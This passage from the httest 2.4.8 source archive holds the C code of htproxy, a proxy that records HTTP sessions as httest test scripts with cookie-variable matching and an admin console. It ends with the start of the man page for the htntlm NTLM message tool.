*cookie_pre; char *pre; char *post; int flags; #define SELF_FLAGS_NONE 0 #define SELF_FLAGS_SKIP_COOKIE_FIRST_TIME 1 #define SELF_FLAGS_GOT_SET_COOKIE 2 logger_t *logger; } self_t; typedef struct request_s { apr_pool_t *pool; char *host; char *port; char *method; char *url; char *version; char *protocol; char *request_line; apr_table_t *headers; apr_size_t len; char *body; int is_ssl; } request_t; typedef struct response_s { apr_pool_t *pool; char *version; char *status_text; int status; char *status_line; apr_table_t *headers; apr_size_t len; char *body; } response_t; apr_status_t tcp_module_init(global_t *global); /************************************************************************ * Implementation ***********************************************************************/ char *none = ""; int new_session = 0; int success = 1; /** * Helper */ /** * get the status string * * @param p IN pool * @param rc IN status to print * * @return status string */ static char *get_status_str(apr_pool_t * p, apr_status_t rc) { char *text = apr_pcalloc(p, 201); apr_strerror(rc, text, 200); return text; } apr_getopt_option_t options[] = { { "version", 'v', 0, "Print version number and exit" }, { "help", 'h', 0, "Display usage information (this message)" }, { "port", 'p', 1, "Port" }, { "dest", 'd', 1, "Destination file, default file is \"file\"" }, { "url-filter", 'u', 1, "URL filter regex default is none (blacklist)" }, { "log-level", 'l', 1, "Log level 0-4" }, { "host-var", 'H', 1, "Variable name for host" }, { "port-var", 'P', 1, "Variable name for port" }, { "root-var", 'U', 1, "Web application root variable name" }, { "host-header-var", 'A', 1, "Variable name for host header value" }, { "socket-tmo", 't', 1, "Socket timeout [ms], default 30000 ms" }, { "header-file", 'i', 1, "File with header text" }, { "trailer-file", 'e', 1, "File with trailer text" }, { "cookie-prefix", 'c', 1, "Cookie variable prefix, default is COOKIE_" }, { "config", 'C', 1, "Configuration file" }, { NULL, 0, 0, NULL }, }; /** * display usage information * * @progname IN name of the programm */ static void usage(const char *progname) { int i = 0; fprintf(stdout, "%s do record a HTTP session as a httest script", progname); fprintf(stdout, "\nUsage: %s [OPTIONS]\n", progname); fprintf(stdout, "\nOptions:"); while (options[i].optch) { if (options[i].optch <= 255) { fprintf(stdout, "\n -%c --%-15s %s", options[i].optch, options[i].name, options[i].description); } else { fprintf(stdout, "\n --%-15s %s", options[i].name, options[i].description); } i++; } fprintf(stdout, "\n\nExample: %s -p 8888 -d init -H HOST -P PORT -u \"(.*\\.png\\;.*$)|(.*\\.css\\;.*$)|(.*\\.ico\\;.*$)|(.*\\.js\\;.*$)\"\n", progname); fprintf(stdout, "\n"); } /** * print given file to the output file * * @param self IN self pointer * @param file IN file name to read from */ static void print_file(self_t *self, char *file) { apr_status_t status; apr_file_t *fp; apr_pool_t *pool; bufreader_t *br; char *line; if (!file) { return; } apr_pool_create(&pool, NULL); if ((status = apr_file_open(&fp, file, APR_READ, APR_OS_DEFAULT, pool)) != APR_SUCCESS) { fprintf(stderr, "\nWarning: Can not open file '%s': %s(%d)\n", file, get_status_str(pool, status), status); return; } if ((status = bufreader_new(&br, fp, pool)) != APR_SUCCESS) { fprintf(stderr, "\nWarning: Could not create bufreader: %s(%d)\n", get_status_str(self->pool, status), status); return; } apr_file_printf(self->ofp, "\n"); while ((status = bufreader_read_line(br, &line)) == APR_SUCCESS) { apr_file_printf(self->ofp, "%s\n", line); } apr_file_close(fp); apr_pool_destroy(pool); } /** * Call command * * @param cmd IN command * @param func IN function * @param name IN displayed name (optional may be NULL) * @param params IN parameter line for the called function * * @return apr status */ static apr_status_t call_command(worker_t *worker, void *func, char *name, char *params) { command_t cmd; memset(&cmd, 0, sizeof(cmd)); cmd.name = name; cmd.func = (command_f)func; return cmd.func(&cmd, worker, params, worker->pbody); } /** * Wait for request * * @param worker IN worker object * @param r IN request record * * @return an apr status */ static apr_status_t wait_request(worker_t * worker, request_t *r) { char *line; apr_status_t status; sockreader_t *sockreader; char *last; char *key; apr_size_t peeklen; const char *val = ""; int i = 0; r->len = 0; r->body = NULL; peeklen = worker->socket->peeklen; worker->socket->peeklen = 0; if ((status = sockreader_new(&sockreader, worker->socket->transport, worker->socket->peek, peeklen)) != APR_SUCCESS) { goto out_err; } r->headers = apr_table_make(r->pool, 10); while ((status = sockreader_read_line(sockreader, &line)) == APR_SUCCESS && line[0] != 0) { /** get request line */ if (i == 0) { worker_log(worker, LOG_INFO, "Requested url: %s", line); r->method = apr_strtok(line, " ", &r->url); if (strcasecmp(r->method, "CONNECT") != 0) { r->protocol = apr_strtok(NULL, "://", &r->url); r->host = apr_strtok(NULL, "/", &r->url); /* if url is empty do it special */ if (r->url[0] == ' ') { r->url[0] = 0; r->version = apr_strtok(&r->url[1], " ", &last); } else { r->url = apr_strtok(r->url, " ", &r->version); } r->host = apr_strtok(r->host, ":", &last); if (strcasecmp(r->protocol, "https") == 0) { r->is_ssl = 1; } else { r->is_ssl = 0; } if (last[0]) { r->port = last; } else { r->port = r->is_ssl ? apr_pstrdup(r->pool, "443") : apr_pstrdup(r->pool, "80"); } r->request_line = apr_psprintf(r->pool, "%s /%s %s", r->method, r->url, r->version); } else { worker_log(worker, LOG_ERR, "SSL tunneling is not supported"); call_command(worker, command_DATA, "_HTTP/1.1 400 Bad Request", ""); call_command(worker, command_DATA, "__", ""); call_command(worker, command_CLOSE, "_CLOSE", ""); } } else { /* headers */ worker_log(worker, LOG_INFO, "<%s", line); key = apr_strtok(line, ":", &last); val = last; if (val) { if (strncasecmp(key, "Proxy-", 6) == 0) { key = apr_strtok(key, "-", &last); key = apr_strtok(NULL, "-", &last); } /* ignore If-Modified-Since and If-Match */ apr_table_add(r->headers, key, &val[1]); } } ++i; } /* get transfer type */ if ((val = apr_table_get(r->headers, "Content-Length"))) { r->len = apr_atoi64(val); status = content_length_reader(sockreader, &r->body, &r->len, val); } else if ((val = apr_table_get(r->headers, "Transfer-Encoding"))) { status = transfer_enc_reader(sockreader, &r->body, &r->len, val); } out_err: return APR_SUCCESS; } /** * Wait for data (same as command_recv) * * @param worker IN worker object * @param r IN response record * * @return an apr status */ static apr_status_t wait_response(worker_t * worker, response_t *r) { char *line; apr_status_t status; sockreader_t *sockreader; char *last; char *key; apr_size_t peeklen; const char *val = ""; int i = 0; r->body = NULL; r->len = 0; if ((status = worker_flush(worker, worker->pbody)) != APR_SUCCESS) { return status; } peeklen = worker->socket->peeklen; worker->socket->peeklen = 0; if ((status = sockreader_new(&sockreader, worker->socket->transport, worker->socket->peek, peeklen)) != APR_SUCCESS) { goto out_err; } r->headers = apr_table_make(r->pool, 10); while ((status = sockreader_read_line(sockreader, &line)) == APR_SUCCESS && line[0] != 0) { /** get request line */ if (i == 0) { r->status_line = line; } else { /* headers */ key = apr_strtok(line, ":", &last); val = last; if (val) { if (strncasecmp(key, "Proxy-", 6) == 0) { key = apr_strtok(key, "-", &last); key = apr_strtok(NULL, "-", &last); } apr_table_add(r->headers, key, &val[1]); } } ++i; } /* get transfer type */ if ((val = apr_table_get(r->headers, "Content-Length"))) { r->len = apr_atoi64(val); status = content_length_reader(sockreader, &r->body, &r->len, val); } else if ((val = apr_table_get(r->headers, "Transfer-Encoding"))) { status = transfer_enc_reader(sockreader, &r->body, &r->len, val); } else if ((val = apr_table_get(r->headers, "Encapsulated"))) { status = encapsulated_reader(sockreader, &r->body, &r->len, val, apr_table_get(r->headers, "Preview")); } else if ((val = apr_table_get(r->headers, "Connection"))) { status = eof_reader(sockreader, &r->body, &r->len, val); } out_err: return status; } /** * Connect to worker * * @param self IN self pointer * @param worker IN worker to connect to * @param p IN pool * @param host IN * @param port IN * @param write IN write script or not * * @return apr status */ static apr_status_t do_connect(self_t *self, worker_t *worker, apr_pool_t *p, int is_ssl, char *host, char *port, int write) { apr_status_t status; /* connect to server */ if ((status = call_command(worker, command_REQ, "_REQ", apr_psprintf(p, "%s %s%s", host, is_ssl ? "SSL:" : "", port))) != APR_SUCCESS) { return status; } if (write) { if (self->host_var) { host = apr_psprintf(self->pool, "$%s", self->host_var); } if (self->port_var) { port = apr_psprintf(self->pool, "%s$%s", is_ssl ? "SSL:" : "", self->port_var); } apr_file_printf(self->ofp, "\n\n_REQ %s %s", host, port); } return status; } /** * write request line * * @param self IN self pointer * @param worker IN worker to connect to * @param p IN pool * @param request_line IN * @param write IN write script or not * * @return apr status */ static apr_status_t do_request_line(self_t *self, worker_t *worker, apr_pool_t *p, char *request_line, int write) { apr_status_t status; char *tmp; char *last; /* write request line */ if ((status = call_command(worker, command_DATA, "__", request_line)) != APR_SUCCESS) { return status; } if (self->uri_var) { tmp = apr_strtok(request_line, " /", &last); apr_strtok(NULL, "/", &last); request_line = apr_pstrcat(worker->pbody, tmp, " $",self->uri_var, "/", last, NULL); } if (write) { apr_file_printf(self->ofp, "\n__%s", request_line); } return status; } /** * write headers * * @param self IN self pointer * @param worker IN worker to connect to * @param p IN pool * @param headers IN * @param write IN write script or not * * @return apr status */ static apr_status_t do_headers(self_t *self, worker_t *worker, apr_pool_t *p, apr_table_t *headers, int write) { apr_status_t status; apr_table_entry_t *e; const char *val; char *last; char *key; char *ignore; char *cookie; char *cookie_val; int i; /* write headers */ e = (apr_table_entry_t *) apr_table_elts(headers)->elts; for (i = 0; i < apr_table_elts(headers)->nelts; ++i) { if (strcasecmp(e[i].key, "Cookie") == 0) { if (!(self->flags & SELF_FLAGS_SKIP_COOKIE_FIRST_TIME)) { if ((status = call_command(worker, command_DATA, "__", apr_psprintf(p, "%s: %s", e[i].key, e[i].val))) != APR_SUCCESS) { goto error; } } } else { if ((status = call_command(worker, command_DATA, "__", apr_psprintf(p, "%s: %s", e[i].key, e[i].val))) != APR_SUCCESS) { goto error; } } if (write) { if (strcasecmp(e[i].key, "Content-Length") == 0) { apr_file_printf(self->ofp, "\n__Content-Length: AUTO"); } else { if (strcasecmp(e[i].key, "Host") == 0) { if (self->host_port_var) { apr_file_printf(self->ofp, "\n__%s: $%s", e[i].key, self->host_port_var); } } else if (strcasecmp(e[i].key, "Referer") == 0) { /* skip this header */ } else if (strcasecmp(e[i].key, "Cookie") == 0) { if (!(self->flags & SELF_FLAGS_SKIP_COOKIE_FIRST_TIME)) { apr_file_printf(self->ofp, "\n__Cookie: "); cookie = apr_pstrdup(worker->pbody, e[i].val); cookie = apr_strtok(cookie, ";", &last); while (cookie) { /* split key from key=val */ key = apr_strtok(cookie, "=", &ignore); while (*key == ' ') ++key; val = apr_strtok(NULL, "=", &ignore); if (val) { cookie_val = apr_psprintf(worker->pbody, "%s=$%s%s", key, self->cookie_pre, key); } else { cookie_val = apr_psprintf(worker->pbody, "%s", key); } /* get next one here so we can detect last one in the next if cond */ cookie = apr_strtok(NULL, ";", &last); if (cookie) { apr_file_printf(self->ofp, "%s; ", cookie_val); } else { /* last one */ apr_file_printf(self->ofp, "%s", cookie_val); } } } } else { apr_file_printf(self->ofp, "\n__%s: %s", e[i].key, e[i].val); } } } } /* empty line */ if ((status = call_command(worker, command_DATA, "__", "")) != APR_SUCCESS) { goto error; } if (write && (!(val = apr_table_get(headers, "Transfer-Encoding")) || strcasecmp(val, "chunked") != 0)) { apr_file_printf(self->ofp, "\n__"); } error: self->flags &= ~SELF_FLAGS_SKIP_COOKIE_FIRST_TIME; return status; } /** * write body * * @param self IN self pointer * @param worker IN worker to connect to * @param p IN pool * @param headers IN * @param body IN * @param len IN body len * @param write IN write script or not * * @return apr status */ static apr_status_t do_body(self_t *self, worker_t *worker, apr_pool_t *p, apr_table_t *headers, char *body, apr_size_t len, int write) { char *last; char *line; const char *val; int chunked = 0; apr_status_t status = APR_SUCCESS; /* write body */ if (body) { if ((val = apr_table_get(headers, "Transfer-Encoding")) && strcasecmp(val, "chunked") == 0) { chunked = 1; } /* do pretty writting */ if (write) { if (chunked) { if ((status = call_command(worker, command_FLUSH, "_FLUSH", "")) != APR_SUCCESS) { return status; } apr_file_printf(self->ofp, "\n_FLUSH"); } line = apr_strtok(body, "\r\n", &last); while (line) { if ((status = call_command(worker, command_DATA, "__", line)) != APR_SUCCESS) { return status; } apr_file_printf(self->ofp, "\n__%s", line); line = apr_strtok(NULL, "\r\n", &last); } if (chunked) { apr_file_printf(self->ofp, "\n_CHUNKED"); apr_file_printf(self->ofp, "\n_CHUNKED"); apr_file_printf(self->ofp, "\n__"); } } else { worker_log(worker, LOG_INFO, "\n[Body len: %d]", len); if ((status = call_command(worker, command_FLUSH, "_FLUSH", "")) != APR_SUCCESS) { return status; } if (chunked) { line = apr_psprintf(worker->pbody, "%x\r\n", (unsigned int)len); if ((status = worker_socket_send(worker, line, strlen(line))) != APR_SUCCESS) { return status; } } if ((status = worker_socket_send(worker, body, len)) != APR_SUCCESS) { return status; } if (chunked) { if ((status = worker_socket_send(worker, "\r\n0\r\n\r\n", 7)) != APR_SUCCESS) { return status; } } } } return status; } /** * write status line * * @param self IN self pointer * @param worker IN worker to connect to * @param p IN pool * @param status_line IN * @param write IN write script or not * * @return apr status */ static apr_status_t do_status_line(self_t *self, worker_t *worker, apr_pool_t *p, char *status_line, int write) { apr_status_t status; if ((status = call_command(worker, command_DATA, "__", status_line)) != APR_SUCCESS) { return status; } if (write) { apr_file_printf(self->ofp, "\n_EXPECT . \"%s\"", status_line); } return status; } /** * Check if the filter let us write to the file * * @param self IN self pointer * @param url IN url to inspect * * @return 0 if filter matches filter url else return 1 */ static int do_check_url(self_t *self, const char *url) { if (self->url_filter_regex) { if ((htt_regexec(self->url_filter_regex, url, strlen(url), 0, NULL, 0) == 0)) { return 0; } } return 1; } /** * Check if Connection: close is set * * @param headers IN headers to inspect * * @return 1 if Connection: close is set else 0 */ static int do_check_close(apr_table_t *headers) { const char *connhdr; if ((connhdr = apr_table_get(headers, "Connection")) && strcasecmp(connhdr, "close") == 0) { return 1; } return 0; } /** * Generate the neccessary _MATCH * * @param self IN self pointer * @param headers IN headers to inspect * @param write IN if 1 do write script * * @return apr status */ static apr_status_t do_matches(self_t *self, apr_table_t *headers, int write) { apr_table_entry_t *e; const char *val; int i; char *dup; char *cookie; char *last; char *ignore; char *key; if (!write) { return APR_SUCCESS; } /* write headers */ e = (apr_table_entry_t *) apr_table_elts(headers)->elts; for (i = 0; i < apr_table_elts(headers)->nelts; ++i) { if (strcasecmp(e[i].key, "Set-Cookie") == 0) { dup = apr_pstrdup(self->pool, e[i].val); /* support only one cookie per Set-Cookie header */ cookie = apr_strtok(dup, ";", &last); if (cookie) { /* split key from key=val */ key = apr_strtok(cookie, "=", &ignore); val = apr_strtok(NULL, "=", &ignore); if (val) { apr_file_printf(self->ofp, "\n_MATCH headers \"%s=([^;]*)\" %s%s", key, self->cookie_pre, key); } else { apr_file_printf(self->ofp, "\n_MATCH headers \"(%s)\" %s%s", key, self->cookie_pre, key); } } } } apr_file_printf(self->ofp, "\n_WAIT"); return APR_SUCCESS; } /** * Proxy thread * * @param thread IN thread object * @param selfv IN void pointer to self_t structure * * @return apr status */ static void *APR_THREAD_FUNC proxy_thread(apr_thread_t * thread, void *selfv) { apr_status_t status; apr_pool_t *pool; apr_pool_t *ptmp; worker_t *server; request_t request; response_t response; global_t global; int write = 1; self_t *self = selfv; worker_t *client = self->client; memset(&global, 0, sizeof(global)); global.logger = self->logger; global.socktmo = 1000 * 300000; global.modules = apr_hash_make(self->pool); global.blocks = apr_hash_make(self->pool); worker_new(&server, "", &global, NULL); if ((status = call_command(client, command_TIMEOUT, "_TIMEOUT", "300000")) != APR_SUCCESS) { apr_thread_mutex_unlock(self->mutex); return NULL; } if ((status = call_command(server, command_TIMEOUT, "_TIMEMOUT", "300000")) != APR_SUCCESS) { apr_thread_mutex_unlock(self->mutex); return NULL; } /* as long we are connected */ while ( 1 ) { /* create request and response objects */ apr_pool_create(&pool, NULL); request.pool = pool; apr_pool_create(&pool, NULL); response.pool = pool; apr_pool_create(&ptmp, NULL); /* wait client request */ if ((status = wait_request(client, &request)) != APR_SUCCESS) { /* connection failure break the loop */ goto error; } /* check if filter matches Accept header */ write = do_check_url(self, request.url); /* CS BEGIN */ apr_thread_mutex_lock(self->mutex); worker_log(client, LOG_DEBUG, "Enter critical section"); if ((status = do_connect(self, server, ptmp, request.is_ssl, request.host, request.port, write)) != APR_SUCCESS) { apr_thread_exit(thread, status); } if ((status = do_request_line(self, server, ptmp, request.request_line, write)) != APR_SUCCESS) { goto unlock; } if ((status = do_headers(self, server, ptmp, request.headers, write)) != APR_SUCCESS) { goto unlock; } if ((status = do_body(self, server, ptmp, request.headers, request.body, request.len, write)) != APR_SUCCESS) { goto unlock; } if ((status = call_command(server, command_FLUSH, "_FLUSH", "")) != APR_SUCCESS) { goto unlock; } if ((status = wait_response(server, &response)) != APR_SUCCESS) { /* connection failure break the loop */ goto unlock; } if ((status = do_status_line(self, client, ptmp, response.status_line, write)) != APR_SUCCESS) { goto unlock; } if ((status = do_headers(self, client, ptmp, response.headers, 0)) != APR_SUCCESS) { goto unlock; } if ((status = do_matches(self, response.headers, write)) != APR_SUCCESS) { goto unlock; } apr_thread_mutex_unlock(self->mutex); /* CS END */ worker_log(client, LOG_DEBUG, "Leave critical section"); if ((status = do_body(self, client, ptmp, response.headers, response.body, response.len, 0)) != APR_SUCCESS) { goto error; goto error; } if ((status = call_command(client, command_FLUSH, "_FLUSH", "")) != APR_SUCCESS) { goto error; } if (do_check_close(response.headers)) { break; } goto error; unlock: apr_thread_mutex_unlock(self->mutex); /* CR END */ error: apr_pool_destroy(ptmp); apr_pool_destroy(request.pool); apr_pool_destroy(response.pool); if (status != APR_SUCCESS) { break; } } if (write) { /* CS BEGIN */ apr_thread_mutex_lock(self->mutex); apr_file_printf(self->ofp, "\n_CLOSE"); apr_thread_mutex_unlock(self->mutex); /* CR END */ } /* close connection */ call_command(client, command_CLOSE, "_CLOSE", ""); call_command(server, command_CLOSE, "_CLOSE", ""); apr_thread_exit(thread, APR_SUCCESS); return NULL; } /** * htproxy shell thread * * @param thread IN thread object * @param selfv IN void pointer to self_t structure * * @return */ static void *APR_THREAD_FUNC admin_thread(apr_thread_t * thread, void *selfv) { apr_status_t status; apr_file_t *ifp; bufreader_t *br; char *line; self_t *self = selfv; fprintf(stdout, "HTTP Test Proxy Shell\n"); fprintf(stdout, "> "); fflush(stdout); if ((status = apr_file_open_stdin(&ifp, self->pool)) != APR_SUCCESS) { fprintf(stderr, "\nCould not open stdin: %s(%d)\n", get_status_str(self->pool, status), status); fflush(stderr); exit(1); } if ((status = bufreader_new(&br, ifp, self->pool)) != APR_SUCCESS) { fprintf(stderr, "\nCould not create bufreader: %s(%d)\n", get_status_str(self->pool, status), status); fflush(stderr); exit(1); } while ((status = bufreader_read_line(br, &line)) == APR_SUCCESS) { char *last; const char *file; char *cmd = NULL; apr_off_t offset; apr_size_t len; char *content; apr_pool_t *pool; apr_pool_create(&pool, NULL); if (line) { cmd = apr_strtok(line, " ", &last); } if (!cmd || cmd[0] == 0) { goto next; } if (strcmp(cmd, "help") == 0 || strcmp(cmd, "H") == 0) { fprintf(stdout, "\nHelp text"); fprintf(stdout, "\n H|help : This help text"); fprintf(stdout, "\n c|comment : Add comment to script"); fprintf(stdout, "\n e|expect : Add expect before last _WAIT"); fprintf(stdout, "\n h|command : Add custom httest command"); fprintf(stdout, "\n r|rotate : Copy current file away"); fprintf(stdout, "\n n|new : New session"); fprintf(stdout, "\n q|quit : Exit"); fprintf(stdout, "\n"); fflush(stdout); } else if (strcmp(cmd, "comment") == 0 || strcmp(cmd, "c") == 0) { /* CS BEGIN */ apr_thread_mutex_lock(self->mutex); if (last) { apr_file_printf(self->ofp, "\n# %s", last); } apr_thread_mutex_unlock(self->mutex); /* CS END */ } else if (strcmp(cmd, "expect") == 0 || strcmp(cmd, "e") == 0) { /* CS BEGIN */ apr_thread_mutex_lock(self->mutex); if (last) { /* seek over last _WAIT back */ apr_finfo_t finfo; apr_off_t i = 1; apr_file_info_get(&finfo, APR_FINFO_SIZE, self->ofp); content = apr_pstrdup(pool, ""); while (i < finfo.size) { offset = -1 * i; apr_file_seek(self->ofp, APR_CUR, &offset); len = i; content = apr_pcalloc(pool, len); apr_file_read(self->ofp, content, &len); if (len >= 6 && strncmp(content, "\n_WAIT", 6) == 0) { break; } ++i; } if (strncmp(content, "\n_WAIT", 6) == 0) { status = apr_file_seek(self->ofp, APR_SET, &offset); apr_file_printf(self->ofp, "\n_EXPECT . \"%s\"", last); apr_file_write(self->ofp, content, &len); } else { fprintf(stderr, "Warning: Can not add _EXPECT here\n"); } } apr_thread_mutex_unlock(self->mutex); /* CS END */ } else if (strcmp(cmd, "command") == 0 || strcmp(cmd, "h") == 0) { /* CS BEGIN */ apr_thread_mutex_lock(self->mutex); if (last) { apr_file_printf(self->ofp, "\n%s", last); } apr_thread_mutex_unlock(self->mutex); /* CS END */ } else if (strcmp(cmd, "rotate") == 0 || strcmp(cmd, "r") == 0) { /* CS BEGIN */ apr_thread_mutex_lock(self->mutex); print_file(self, self->post); if (last) { if ((status = apr_file_name_get(&file, self->ofp)) == APR_SUCCESS) { if ((status = apr_file_copy(file, last, APR_FILE_SOURCE_PERMS, pool)) != APR_SUCCESS) { fprintf(stderr, "Could not copy \"%s\" to \"%s\": %s(%d)\n", file, last, get_status_str(pool, status), status); } else { apr_file_trunc(self->ofp, 0); offset = 0; apr_file_seek(self->ofp, APR_SET, &offset); print_file(self, self->pre); } } else { fprintf(stderr, "Can not get file name: %s(%d)\n", get_status_str(pool, status), status); } } apr_thread_mutex_unlock(self->mutex); /* CS END */ } else if (strcmp(cmd, "new") == 0 || strcmp(cmd, "n") == 0) { /* CS BEGIN */ apr_thread_mutex_lock(self->mutex); new_session = 1; apr_thread_mutex_unlock(self->mutex); /* CS END */ } else if (strcmp(cmd, "quit") == 0 || strcmp(cmd, "q") == 0) { status = APR_EOF; break; } else { fprintf(stderr, "Unknown command %s: Enter 'H' for help\n", cmd); } next: fprintf(stdout, "> "); fflush(stdout); apr_pool_destroy(pool); } fprintf(stderr, "\n%s(%d)\n", get_status_str(self->pool, status), status); exit(0); return NULL; } /** * Proxy the request and write httest scrip * * @param self IN self pointer */ int proxy(self_t *self) { apr_status_t status; worker_t *listener; worker_t *client; self_t *this; apr_threadattr_t *tattr; apr_thread_t *thread; int i = 0; int off; const char *err; htt_regex_t *compiled; global_t global; if ((status = apr_threadattr_create(&tattr, self->pool)) != APR_SUCCESS) { return status; } if ((status = apr_threadattr_stacksize_set(tattr, DEFAULT_THREAD_STACKSIZE)) != APR_SUCCESS) { return status; } if ((status = apr_threadattr_detach_set(tattr, 0)) != APR_SUCCESS) { return status; } /** create a admin console thread */ this = apr_pcalloc(self->pool, sizeof(*this)); memcpy(this, self, sizeof(*this)); if ((status = apr_thread_create(&thread, tattr, admin_thread, this, this->pool)) != APR_SUCCESS) { return status; } memset(&global, 0, sizeof(global)); global.pool = self->pool; global.logger = self->logger; global.socktmo = 1000 * 300000; global.modules = apr_hash_make(self->pool); global.blocks = apr_hash_make(self->pool); /** * Initialize tcp module */ tcp_module_init(&global); worker_new(&listener, "", &global, NULL); listener->listener_port = self->port; if ((status = call_command(listener, command_UP, "_UP", "")) != APR_SUCCESS) { return status; } while ( 1 ) { if ((status = call_command(listener, command_RES, "_RES", "")) != APR_SUCCESS) { return status; } /* test if main is back */ worker_new(&client, "", &global, NULL); worker_get_socket(client, "Default", "0"); client->socket->socket_state = listener->socket->socket_state; client->socket->socket = listener->socket->socket; client->socket->transport = listener->socket->transport; /* new thread */ this = apr_pcalloc(client->pbody, sizeof(*this)); memcpy(this, self, sizeof(*this)); this->pool = client->pbody; this->client = client; if (this->url_filter && (compiled = htt_regexcomp(self->pool, this->url_filter, &err, &off))) { this->url_filter_regex = compiled; } /* CS BEGIN */ apr_thread_mutex_lock(self->mutex); if (new_session == 1) { this->flags |= SELF_FLAGS_SKIP_COOKIE_FIRST_TIME; new_session = 0; } apr_thread_mutex_unlock(self->mutex); /* CS END */ if ((status = apr_thread_create(&thread, tattr, proxy_thread, this, this->pool)) != APR_SUCCESS) { return status; } /* bad hack should have a method for this */ listener->socket->socket_state = SOCKET_CLOSED; ++i; } return 0; } /** * sort out command-line args and call proxy * * @param argc IN number of arguments * @param argv IN argument array * * @return 0 if success */ int main(int argc, const char *const argv[]) { apr_status_t status; apr_getopt_t *opt; const char *optarg; int c; apr_pool_t *pool; self_t *self; apr_table_t *conf = NULL; const char *conf_file = NULL; const char *host_var = NULL; const char *port_var = NULL; const char *uri_var = NULL; const char *host_port_var = NULL; int port = 8080; const char *dest = "file"; const char *url_filter = NULL; int log_mode = 0; const char *tmo = "30000"; const char *intro_file = NULL; const char *end_file = NULL; const char *cookie_pre = "COOKIE_"; int flags = SELF_FLAGS_NONE; apr_file_t *out; apr_file_t *err; appender_t *appender; srand(apr_time_now()); apr_app_initialize(&argc, &argv, NULL); apr_pool_create(&pool, NULL); /* block broken pipe signal */ #if !defined(WIN32) apr_signal_block(SIGPIPE); #endif apr_file_open_flags_stderr(&err, APR_BUFFERED|APR_XTHREAD, pool); apr_file_open_flags_stdout(&out, APR_BUFFERED|APR_XTHREAD, pool); /* get options */ apr_getopt_init(&opt, pool, argc, argv); while ((status = apr_getopt_long(opt, options, &c, &optarg)) == APR_SUCCESS) { switch (c) { case 'h': usage(filename(pool, argv[0])); exit(0); case 'v': copyright(filename(pool, argv[0])); return 0; break; case 'd': dest = optarg; break; case 'p': port = apr_atoi64(optarg); break; case 'H': host_var = optarg; break; case 'A': host_port_var = optarg; break; case 'P': port_var = optarg; break; case 'l': log_mode = apr_atoi64(optarg); break; case 't': tmo = optarg; break; case 'i': intro_file = optarg; break; case 'e': end_file = optarg; break; case 'u': url_filter = optarg; break; case 'c': cookie_pre = optarg; break; case 'C': conf_file = apr_pstrdup(pool, optarg); break; case 'U': uri_var = optarg; break; } } /* test for wrong options */ if (!APR_STATUS_IS_EOF(status)) { fprintf(stderr, "try \"%s --help\" to get more information\n", filename(pool, argv[0])); exit(1); } #ifdef USE_SSL /* setup ssl library */ #ifdef RSAREF R_malloc_init(); #else CRYPTO_malloc_init(); #endif SSL_load_error_strings(); SSL_library_init(); ssl_util_thread_setup(pool); #endif self = apr_pcalloc(pool, sizeof(*self)); if ((status = apr_file_open(&self->ofp, dest, APR_READ|APR_WRITE|APR_CREATE|APR_TRUNCATE, APR_OS_DEFAULT, pool)) != APR_SUCCESS) { fprintf(stderr, "\nCan not open file '%s': %s(%d)\n", dest, get_status_str(pool, status), status); return status; } if ((status = apr_thread_mutex_create(&self->mutex, APR_THREAD_MUTEX_DEFAULT, pool)) != APR_SUCCESS) { fprintf(stderr, "\nCan not create mutex: %s(%d)\n", get_status_str(pool, status), status); return status; } /* read config first */ if (conf_file && (conf = conf_reader(pool, conf_file))) { int i; apr_table_entry_t *e; e = (apr_table_entry_t *) apr_table_elts(conf)->elts; /* iterate over and notify unknown stuff */ for (i = 0; i < apr_table_elts(conf)->nelts; ++i) { if (strcmp(e[i].key, "Port") == 0) { port = apr_atoi64(e[i].val); } else if (strcmp(e[i].key, "Timeout") == 0) { tmo = e[i].val; } else if (strcmp(e[i].key, "HostVar") == 0) { host_var = e[i].val; } else if (strcmp(e[i].key, "PortVar") == 0) { port_var = e[i].val; } else if (strcmp(e[i].key, "HostPortVar") == 0) { host_port_var = e[i].val; } else if (strcmp(e[i].key, "CookieVarPrefix") == 0) { cookie_pre = e[i].val; } else if (strcmp(e[i].key, "ScriptHeader") == 0) { intro_file = e[i].val; } else if (strcmp(e[i].key, "ScriptTrailer") == 0) { end_file = e[i].val; } else if (strcmp(e[i].key, "UrlBlacklist") == 0) { url_filter = e[i].val; } else { fprintf(stderr, "\nUnknown parameter %s", e[i].key); } } } else if (conf_file) { return -1; } apr_hook_global_pool = pool; /* overwrites config */ self->pool = pool; self->port = port; self->logger = logger_new(pool, log_mode, 0); appender = appender_std_new(pool, out, APPENDER_STD_NONE); logger_set_appender(self->logger, appender, "std", LOG_NONE, LOG_DEBUG); self->timeout = apr_pstrdup(pool, tmo); self->host_var = host_var ? apr_pstrdup(pool, host_var) : NULL; self->port_var = port_var ? apr_pstrdup(pool, port_var) : NULL; self->uri_var = uri_var ? apr_pstrdup(pool, uri_var) : NULL; self->host_port_var = host_port_var ? apr_pstrdup(pool, host_port_var) : NULL; self->cookie_pre = apr_pstrdup(pool, cookie_pre); self->pre = intro_file ? apr_pstrdup(pool, intro_file) : NULL; self->post = end_file ? apr_pstrdup(pool, end_file) : NULL; self->url_filter = url_filter ? apr_pstrdup(pool, url_filter) : NULL; self->flags = flags; fprintf(stdout, "Start proxy on port %d\n", port); print_file(self, self->pre); proxy(self); fprintf(stdout, "\n--normal end\n"); return 0; } httest-2.4.8/src/htntlm.10000664000175100017510000001265212205370421012146 00000000000000.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.40.11. .TH HTNTLM "1" "August 2013" "htntlm 2.4.8" "User Commands" .SH NAME htntlm \- read/write NTLM message .SH SYNOPSIS .B htntlm [\fIOPTIONS\fR] .SH DESCRIPTION htntlm is used to read, generate and inspect NTLM messages. .SH OPTIONS .TP \fB\-v\fR \fB\-\-version\fR Print version number and exit .TP \fB\-h\fR \fB\-\-help\fR Display usage information (this message) .TP \fB\-r\fR \fB\-\-read\fR read a NTLM base64 encoded message .TP \fB\-w\fR \fB\-\-write\fR write a NTLM base64 encoded message .TP \fB\-i\fR \fB\-\-info\fR print in a readable manner .TP \fB\-d\fR \fB\-\-debug\fR print debug information .TP \fB\-t\fR \fB\-\-type\fR NTLM message type 1, 2 or 3 .TP \fB\-D\fR \fB\-\-domain\fR Domain name .TP \fB\-W\fR \fB\-\-workstation\fR Workstation name .TP \fB\-E\fR \fB\-\-server\fR Workstation name .TP \fB\-O\fR \fB\-\-os\-version\fR OS Version major.minor.build .TP \fB\-T\fR \fB\-\-target\fR Target name .TP \fB\-N\fR \fB\-\-dns\-domain\fR DNS domain name .TP \fB\-S\fR \fB\-\-dns\-server\fR DNS server name .TP \fB\-a\fR 